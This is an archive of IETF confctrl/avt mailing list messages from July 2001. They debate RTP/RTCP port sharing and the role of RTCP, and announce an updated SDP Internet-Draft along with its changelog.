Message-Id: <p05010401b77b194b53ab@[193.118.192.41]>
In-Reply-To: <15189.25492.478609.903782@thomasm-u1.cisco.com>
References: 
  <B65B4F8437968F488A01A940B21982BF020D6225@DYN-EXCH-001.dynamicsoft.com>
 <4.3.1.1.20010716201019.00b90ae0@localhost>
 <006701c10f67$eb574de0$331873c0@bitband.com>
 <p05010402b77afd41725f@[193.118.192.41]>
 <15189.25492.478609.903782@thomasm-u1.cisco.com>
Date: Wed, 18 Jul 2001 11:58:19 +0100
To: Michael Thomas <mat@cisco.com>
From: Lawrence Conroy <lwc@roke.co.uk>
Subject: Re: [AVT] Re: RTP/RTCP Port Sharing (Was: Comedia Issues.)
Cc: Leonid Rosenboim <Leonid@BitBand.COM>, confctrl@ISI.EDU,
        Ross Finlayson <finlayson@live.com>, avt@ietf.org
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 3:23 am -0700 18/7/01, Michael Thomas wrote:
>Lawrence Conroy writes:
>  > There are some obscure scenarios in which packet traffic is 
>actually carried
>  > on connection-oriented bearers, and each new packet flow *may* need a heavy
>  > weight setup procedure.
>
>    I guess that depends on your description of "obscure".

I can think of other scenarios in Wireless/Cellular networks (and they're 3GPP
standards, so PacketCable/ITU isn't alone here :).
I don't think they're obscure either, but I hope they don't drive the overall
architecture for RTP/RTCP and break existing RTP/RTCP implementations.

>  > In this case one can simply not deal with RTCP (for
>  > very simple "two party" cases in which there's no absolute need for it).
>
>    Sure there is; the same reasons you'd want to use RTCP
>    in other cases. If nothing else, dead peer detection.

Fine; if you don't have a heavy weight/explicit connection scheme so 
you don't know
about transport or far end liveness, then you need it, so you have to 
take the pain.
I'm suggesting that, if you know when the link goes down from the 
"lower levels"
then you don't *always* need this. No big deal.

regards,
    Lawrence
-- 
lwc@roke.co.uk: +44 1794 833666::<my opinions>:

From confctrl-owner  Wed Jul 18 04:03:08 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id EAA20331
	for confctrl-outgoing; Wed, 18 Jul 2001 04:03:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA20324
	for <confctrl@zephyr.isi.edu>; Wed, 18 Jul 2001 04:03:06 -0700 (PDT)
Received: from exchange1.nuera.com ([12.105.228.79])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6IB3JL06660
	for <confctrl@ISI.EDU>; Wed, 18 Jul 2001 04:03:19 -0700 (PDT)
Received: by exchange1.nuera.com with Internet Mail Service (5.5.2653.19)
	id <P1LBR4D6>; Wed, 18 Jul 2001 04:03:05 -0700
Message-ID: <E79883AEA37FD411A58C00508BAC5F4BD729C9@exchange1.nuera.com>
From: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>
To: "'Michael Thomas'" <mat@cisco.com>, Lawrence Conroy <lwc@roke.co.uk>
Cc: confctrl@ISI.EDU, avt@ietf.org
Subject: RE: [AVT] Re: RTP/RTCP Port Sharing
Date: Wed, 18 Jul 2001 04:03:04 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>  > In this case one can simply not deal with RTCP (for
>  > very simple "two party" cases in which there's no absolute 
> need for it).
> 
>    Sure there is; the same reasons you'd want to use RTCP
>    in other cases. If nothing else, dead peer detection.
> 
And being able to correlate a session/peer identity (eg CNAME) with the RTP
media flow (eg SSRC).

This might be quite important if the far end is a fixed port server sharing
the same RTP port between many media sessions and for obvious reasons the
source address cannot be used to perform the correlation/identification
reliably.


Robert.


From confctrl-owner  Wed Jul 18 05:09:05 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id FAA23278
	for confctrl-outgoing; Wed, 18 Jul 2001 05:09:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA23273
	for <confctrl@zephyr.isi.edu>; Wed, 18 Jul 2001 05:09:03 -0700 (PDT)
Received: from exchange1.nuera.com ([12.105.228.79])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6IC9GL19802
	for <confctrl@ISI.EDU>; Wed, 18 Jul 2001 05:09:16 -0700 (PDT)
Received: by exchange1.nuera.com with Internet Mail Service (5.5.2653.19)
	id <P1LBR4F7>; Wed, 18 Jul 2001 05:09:02 -0700
Message-ID: <E79883AEA37FD411A58C00508BAC5F4BD729CB@exchange1.nuera.com>
From: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>
To: "'Leonid Rosenboim'" <Leonid@BitBand.COM>, confctrl@ISI.EDU,
        Ross Finlayson <finlayson@live.com>
Cc: avt@ietf.org
Subject: RE: [AVT] Re: RTP/RTCP Port Sharing -> SCTP
Date: Wed, 18 Jul 2001 05:09:00 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> 
> First, it has been discussed that NATs are one good reason 
> for this change.
> I only want to add that when IPv4/IPv6 interoperability is 
> considered, some
> interop scenarios have requirements similar to today's NAT. 
> One last item I
> wanted to add is that it is not far away that Internet CPE 
> devices (e.g.
> xDSL or Cable modems) would have a simple form of firewall 
> embedded in them.
> Since these security mechanisms are very simple, they also require for
> authorizable traffic to be bidirectional, and initiated from 
> within. Again,
> somewhat NAT-like behavour.
> 

SCTP allows an authorizable (ie, connection-oriented) un-reliable
bidirectional datagram flow which was one of the reasons I decided to write
an SDP profile for SCTP
(http://www.ietf.org/internet-drafts/draft-fairlie-mmusic-sdp-sctp-00.txt).
In many ways I think SCTP provides many of the NAT-friendly behaviors we
want.

The connection-oriented behavior of SCTP (like the comedia draft) means that

	a) it is easier for firewalls to open holes for bidirectional
connections (eg TCP)
	b) like TCP, bidirectionality is guaranteed.
	c) only one endpoint needs to have a globally reachable address for
guaranteed bidirectional transport
	d) RTCP is now guaranteed to be transported along with RTP (on a
different SCTP stream in the same association)
	e) source address and session<->media correlation concerns somewhat
reduced
	f) no media latency issues of TCP (due to unreliable transport mode
[U-SCTP])
	g) helps for nat timeout problem as firewall hole would be kept open
as long as any RTP/RTCP stream is active.

[And you get SCTP's other desirable fault tolerance, fragmentation,
multi-channel aggregation, etc features for free].

Now we just need to SCTP widely deployed <grin>. 

Robert.

From confctrl-owner  Wed Jul 18 05:31:36 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id FAA24320
	for confctrl-outgoing; Wed, 18 Jul 2001 05:31:36 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA24315
	for <confctrl@zephyr.isi.edu>; Wed, 18 Jul 2001 05:31:34 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6ICVlL25259
	for <confctrl@ISI.EDU>; Wed, 18 Jul 2001 05:31:47 -0700 (PDT)
Received: from bart.cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id IAA02044;
	Wed, 18 Jul 2001 08:31:40 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by bart.cs.columbia.edu (8.9.3+Sun/8.9.3) with ESMTP id IAA04048;
	Wed, 18 Jul 2001 08:31:30 -0400 (EDT)
Message-ID: <3B55815A.99284192@cs.columbia.edu>
Date: Wed, 18 Jul 2001 08:30:18 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
X-Mailer: Mozilla 4.77 [en]C-CCK-MCD BA45DSL  (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Lawrence Conroy <lwc@roke.co.uk>
CC: Leonid Rosenboim <Leonid@BitBand.COM>, confctrl@ISI.EDU,
        Ross Finlayson <finlayson@live.com>, avt@ietf.org
Subject: Re: [AVT] Re: RTP/RTCP Port Sharing (Was: Comedia Issues.)
References: <B65B4F8437968F488A01A940B21982BF020D6225@DYN-EXCH-001.dynamicsoft.com>
	 <4.3.1.1.20010716201019.00b90ae0@localhost>
	 <006701c10f67$eb574de0$331873c0@bitband.com> <p05010402b77afd41725f@[193.118.192.41]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


> There are some obscure scenarios in which packet traffic is actually carried
> on connection-oriented bearers, and each new packet flow *may* need a heavy
> weight setup procedure. In this case one can simply not deal with RTCP (for
> very simple "two party" cases in which there's no absolute need for it).

Lawrence,

given the discussion and conclusion we've had on this and related lists
in the last few weeks, I find your last statement, in its certainty,
more than surprising. May I suggest that you go back and read those
discussions before you state that there's no need for RTCP for unicast?

Thank you.

From confctrl-owner  Wed Jul 18 07:10:20 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA29656
	for confctrl-outgoing; Wed, 18 Jul 2001 07:10:20 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA29648
	for <confctrl@zephyr.isi.edu>; Wed, 18 Jul 2001 07:10:19 -0700 (PDT)
Received: from purple.east.isi.edu ([65.114.168.32])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6IEAUL15915
	for <confctrl@ISI.EDU>; Wed, 18 Jul 2001 07:10:31 -0700 (PDT)
Received: from purple (localhost [127.0.0.1])
	by purple.east.isi.edu (8.9.3/8.9.3) with ESMTP id KAA02225;
	Wed, 18 Jul 2001 10:06:55 -0400
Message-Id: <200107181406.KAA02225@purple.east.isi.edu>
To: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>
cc: "'Michael Thomas'" <mat@cisco.com>, Lawrence Conroy <lwc@roke.co.uk>,
        confctrl@ISI.EDU, avt@ietf.org
Subject: Re: [AVT] Re: RTP/RTCP Port Sharing 
In-Reply-To: Your message of "Wed, 18 Jul 2001 04:03:04 PDT."
             <E79883AEA37FD411A58C00508BAC5F4BD729C9@exchange1.nuera.com> 
Date: Wed, 18 Jul 2001 10:06:55 -0400
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> "Fairlie-Cuninghame, Robert" writes:
>
>>  > In this case one can simply not deal with RTCP (for
>>  > very simple "two party" cases in which there's no absolute 
>> need for it).
>> 
>>    Sure there is; the same reasons you'd want to use RTCP
>>    in other cases. If nothing else, dead peer detection.
>> 
>And being able to correlate a session/peer identity (eg CNAME) with the RTP
>media flow (eg SSRC).
>
>This might be quite important if the far end is a fixed port server sharing
>the same RTP port between many media sessions and for obvious reasons the
>source address cannot be used to perform the correlation/identification
>reliably.

It's also pretty useful if you want to do lip-sync...

Colin

From confctrl-owner  Wed Jul 18 09:49:17 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA11614
	for confctrl-outgoing; Wed, 18 Jul 2001 09:49:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA11609
	for <confctrl@zephyr.isi.edu>; Wed, 18 Jul 2001 09:49:16 -0700 (PDT)
Received: from mail1.dynamicsoft.com ([63.113.40.10])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6IGnSL16677
	for <confctrl@ISI.EDU>; Wed, 18 Jul 2001 09:49:29 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com (dyn-exch-001 [63.113.44.7])
	by mail1.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id f6IGlFRX020412;
	Wed, 18 Jul 2001 12:47:15 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <PDK229S6>; Wed, 18 Jul 2001 12:47:50 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF020D62A4@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Michael Thomas'" <mat@cisco.com>, Lawrence Conroy <lwc@roke.co.uk>
Cc: Leonid Rosenboim <Leonid@BitBand.COM>, confctrl@ISI.EDU,
        Ross Finlayson <finlayson@live.com>, avt@ietf.org
Subject: RE: [AVT] Re: RTP/RTCP Port Sharing (Was: Comedia Issues.)
Date: Wed, 18 Jul 2001 12:47:50 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Michael Thomas [mailto:mat@cisco.com]
> Sent: Wednesday, July 18, 2001 6:23 AM
> To: Lawrence Conroy
> Cc: Leonid Rosenboim; confctrl@ISI.EDU; Ross Finlayson; avt@ietf.org
> Subject: Re: [AVT] Re: RTP/RTCP Port Sharing (Was: Comedia Issues.)
> 
> 
> Lawrence Conroy writes:
>  > There are some obscure scenarios in which packet traffic 
> is actually carried
>  > on connection-oriented bearers, and each new packet flow 
> *may* need a heavy
>  > weight setup procedure. 
> 
>    I guess that depends on your description of "obscure". 
>    Dean rightly surmised I was thinking about the DOCSIS cable
>    MAC/PHY and the ability to use unsolicited grants for RTP
>    traffic. DOCSIS is pretty widely deployed these days, not
>    to mention an ITU standard. Nor are TDM-like slotting 
>    arrangements likely to vanish on certain kinds of media
>    any time soon. The sin of the PSTN was to insist that
>    there was exactly one way to build a shared media and that
>    was with 64k TDM slots. That's not the same thing as saying
>    that TDM is inherently bad under all circumstances.

I'm just curious how this will work; what if the PC is busy and doesn't get
around to sending media for 100ms (yeah, its bad, I know, but it can
happen), so it sends a burst of 100ms worth of data. Are you saying that
DOCSIS modems will discard the data? Buffer it up, and send it at a constant
packet rate? That makes delays worse...

Anyway, that said, if we have a way to make sure there is always data on the
RTP channel (even while being held, which is a big problem), then my main
motivation for RTP/RTCP on the same port goes away. I could have sworn there
was some other reason for wanting it, but it eludes me at the moment.

However, I definitely need a way to signal the RTCP port, so Christians
draft is really important.

-Jonathan R.
---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Wed Jul 18 11:56:00 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA19536
	for confctrl-outgoing; Wed, 18 Jul 2001 11:56:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA19531
	for <confctrl@zephyr.isi.edu>; Wed, 18 Jul 2001 11:56:00 -0700 (PDT)
Received: from snap.CS.Berkeley.EDU (IDENT:root@snap.CS.Berkeley.EDU [128.32.37.81])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6IIuCL05469
	for <confctrl@ISI.EDU>; Wed, 18 Jul 2001 11:56:13 -0700 (PDT)
Received: (from lazzaro@localhost)
	by snap.CS.Berkeley.EDU (8.9.3/8.9.3-ZUUL) id LAA03770;
	Wed, 18 Jul 2001 11:54:16 -0700
Date: Wed, 18 Jul 2001 11:54:16 -0700
From: John Lazzaro <lazzaro@CS.Berkeley.EDU>
Message-Id: <200107181854.LAA03770@snap.CS.Berkeley.EDU>
To: avt@ietf.org, confctrl@ISI.EDU
Subject: Re: [AVT] Re: RTP/RTCP Port Sharing (Was: Comedia Issues.)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


> Lawrence Conroy writes:
>
> In this case one can simply not deal with RTCP (for
> very simple "two party" cases in which there's no absolute need for it).

At least one codec uses information coded in the RTCP RR packets as an
integral part of the forward-channel coding scheme, see Appendix A of
this paper for details:

http://www.cs.berkeley.edu/~lazzaro/sa/pubs/pdf/nossdav01.pdf

While the trick we use (using the "extended highest sequence number 
received" RR field to control resilency coding) is specialized for our
application domain (MIDI control of MPEG 4 Structured Audio), I can
easily imagine designing a mainstream audio or video codec that uses
this approach -- perhaps one already exists, although I'm not aware of one.

-------------------------------------------------------------------------
John Lazzaro -- Research Specialist -- CS Division -- EECS -- UC Berkeley
lazzaro [at] cs [dot] berkeley [dot] edu     www.cs.berkeley.edu/~lazzaro
-------------------------------------------------------------------------

From confctrl-owner  Thu Jul 19 04:06:41 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA06843
	for confctrl-outgoing; Thu, 19 Jul 2001 04:06:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA06838
	for <confctrl@zephyr.isi.edu>; Thu, 19 Jul 2001 04:06:39 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6JB6qL05475
	for <confctrl@isi.edu>; Thu, 19 Jul 2001 04:06:53 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA28371;
	Thu, 19 Jul 2001 07:05:56 -0400 (EDT)
Message-Id: <200107191105.HAA28371@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-new-03.txt
Date: Thu, 19 Jul 2001 07:05:55 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: SDP: Session Description Protocol
	Author(s)	: M. Handley, V. Jacobson, C. Perkins
	Filename	: draft-ietf-mmusic-sdp-new-03.txt
	Pages		: 43
	Date		: 18-Jul-01
	
This memo defines the Session Description Protocol (SDP). SDP
is intended for describing multimedia sessions for the
purposes of session announcement, session invitation, and
other forms of multimedia session initiation.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-new-03.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-new-03.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-new-03.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010718142243.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-new-03.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp-new-03.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010718142243.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Thu Jul 19 06:42:29 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id GAA14281
	for confctrl-outgoing; Thu, 19 Jul 2001 06:42:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA14269
	for <confctrl@zephyr.isi.edu>; Thu, 19 Jul 2001 06:42:26 -0700 (PDT)
Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6JDgeL08547
	for <confctrl@isi.edu>; Thu, 19 Jul 2001 06:42:40 -0700 (PDT)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id f6JDXVe28744;
	Thu, 19 Jul 2001 06:33:31 -0700 (PDT)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAC21024;
	Thu, 19 Jul 2001 06:33:19 -0700 (PDT)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id GAA08782; Thu, 19 Jul 2001 06:33:19 -0700 (PDT)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15190.57759.637377.555632@thomasm-u1.cisco.com>
Date: Thu, 19 Jul 2001 06:33:19 -0700 (PDT)
To: Lawrence Conroy <lwc@roke.co.uk>
Cc: Michael Thomas <mat@cisco.com>, Leonid Rosenboim <Leonid@BitBand.COM>,
        confctrl@ISI.EDU, Ross Finlayson <finlayson@live.com>, avt@ietf.org
Subject: Re: [AVT] Re: RTP/RTCP Port Sharing (Was: Comedia Issues.)
In-Reply-To: <p05010401b77b194b53ab@[193.118.192.41]>
References: <B65B4F8437968F488A01A940B21982BF020D6225@DYN-EXCH-001.dynamicsoft.com>
	<4.3.1.1.20010716201019.00b90ae0@localhost>
	<006701c10f67$eb574de0$331873c0@bitband.com>
	<p05010402b77afd41725f@[193.118.192.41]>
	<15189.25492.478609.903782@thomasm-u1.cisco.com>
	<p05010401b77b194b53ab@[193.118.192.41]>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Lawrence Conroy writes:
 > At 3:23 am -0700 18/7/01, Michael Thomas wrote:
 > I can think of other scenarios in Wireless/Cellular networks (and they're 3GPP
 > standards, so PacketCable/ITU isn't alone here :).
 > I don't think they're obscure either, but I hope they don't drive the overall
 > architecture for RTP/RTCP and break existing RTP/RTCP implementations.

   I think my concern is exactly the opposite: that tweaks
   and changes to RTP do not break MAC/PHY's that were 
   designed with RTP in mind.

 > >    Sure there is; the same reasons you'd want to use RTCP
 > >    in other cases. If nothing else, dead peer detection.
 > 
 > Fine; if you don't have a heavy weight/explicit connection scheme so 
 > you don't know
 > about transport or far end liveness, then you need it, so you have to 
 > take the pain.
 > I'm suggesting that, if you know when the link goes down from the 
 > "lower levels"
 > then you don't *always* need this. No big deal.

   Er, what if the network is partitioned somewhere in
   the middle and hence directly undetectable? Also:
   blowing away connections because a local interface
   flapped is almost always a bad idea. In reality,
   the local interface's long term death is about as unknowable 
   as an unobservable middle router's interface, unless it
   happens to have a "china syndrome" register or
   something :-)

	      Mike

From confctrl-owner  Thu Jul 19 07:26:05 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA16573
	for confctrl-outgoing; Thu, 19 Jul 2001 07:26:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA16568
	for <confctrl@zephyr.isi.edu>; Thu, 19 Jul 2001 07:26:03 -0700 (PDT)
Received: from zcars0m9.ca.nortel.com (h157s242a129n47.user.nortelnetworks.com [47.129.242.157])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6JEQBL18751
	for <confctrl@isi.edu>; Thu, 19 Jul 2001 07:26:12 -0700 (PDT)
Received: from zcars04e.ca.nortel.com (zcars04e.ca.nortel.com [47.129.242.56])
	by zcars0m9.ca.nortel.com (8.11.0/8.11.0) with ESMTP id f6JEPk925000
	for <confctrl@isi.edu>; Thu, 19 Jul 2001 10:25:46 -0400 (EDT)
Message-Id: <200107191425.f6JEPk925000@zcars0m9.ca.nortel.com>
Received: from zcard00m.ca.nortel.com by zcars04e.ca.nortel.com;
          Thu, 19 Jul 2001 10:25:31 -0400
Received: from zbl6c006.corpeast.baynetworks.com ([132.245.205.56]) 
          by zcard00m.ca.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) 
          id 3X12C63H; Thu, 19 Jul 2001 10:25:31 -0400
Received: from samsong (s-song.us.nortel.com [47.16.169.146]) 
          by zbl6c006.corpeast.baynetworks.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) 
          id 3NT7YTLW; Thu, 19 Jul 2001 10:25:30 -0400
From: Sam Song <samsong@samsong.ws>
To: confctrl@ISI.EDU
Subject: The Gold Is On! Are You Ready?
Reply-To: samsong@samsong.ws
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Orig: <samsong@samsong.ws>
Date: Thu, 19 Jul 2001 14:25:40 +0000
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Please take a minute to review the attachment. Thank you.

From confctrl-owner  Thu Jul 19 08:20:07 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA19434
	for confctrl-outgoing; Thu, 19 Jul 2001 08:20:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA19397
	for <confctrl@zephyr.isi.edu>; Thu, 19 Jul 2001 08:20:02 -0700 (PDT)
Received: from chiron.east.isi.edu (chiron.east.isi.edu [65.114.169.204])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6JFKFL04646
	for <confctrl@isi.edu>; Thu, 19 Jul 2001 08:20:15 -0700 (PDT)
Received: from chiron (csp@localhost)
	by chiron.east.isi.edu (8.11.2/8.11.2) with ESMTP id f6JFKEE14937
	for <confctrl@isi.edu>; Thu, 19 Jul 2001 11:20:15 -0400
Message-Id: <200107191520.f6JFKEE14937@chiron.east.isi.edu>
To: confctrl@ISI.EDU
Subject: Updated SDP draft available
Date: Thu, 19 Jul 2001 11:20:14 -0400
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

You can now find draft-ietf-mmusic-sdp-new-03.txt in the internet-drafts
archive. This is an update to RFC 2327, aiming to correct the bugs found
now it's been in use for a while.

Changes in -03:
 - e= and p= were mandatory, and are now optional
 - a=maxptime added
 - Remove references to "conference" from t=, to make it less SAP oriented
 - Note about wrap-around of NTP timestamps in t=
 - Merge draft-olson-sdp-ipv6-00.txt (someone please check the BNF to make
   sure I did this correctly...)

Changes in -02:
 - References updated
 - Section 3.1 replaced with a reference to RFC 2119
 - Use of "application/sdp" as MIME type: SHOULD -> MUST
 - Section 4 now mentions use of SIP and RTSP
 - Section 5.3 now mentions SIP and is less SAP centric
 - Section 6 comments about bandwidth limits rewritten to be less SAP
   specific
 - The section on concatenation of session descriptions (not allowed in
   SAP, allowed in other cases) has been removed. Assume transports of SDP
   specify this?
 - Section 6 has MUST, SHOULD, etc. Please comment.
 - c= talked about how "typically the address is a class D multicast
   address". Made less Mbone specific, to reflect common use of SDP.
 - b= no longer makes a normative reference to the Mbone FAQ for bandwidth
   limits at various TTLs :)
 - m= define relation to MIME types

Comments and suggestions are welcome... this is work in progress.

Cheers,
Colin

From confctrl-owner  Thu Jul 19 13:30:25 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA08131
	for confctrl-outgoing; Thu, 19 Jul 2001 13:30:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA08126
	for <confctrl@zephyr.isi.edu>; Thu, 19 Jul 2001 13:30:24 -0700 (PDT)
Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6JKUbL24020
	for <confctrl@isi.edu>; Thu, 19 Jul 2001 13:30:37 -0700 (PDT)
Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.117.200.22])
	by e1.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id QAA475426;
	Thu, 19 Jul 2001 16:21:16 -0400
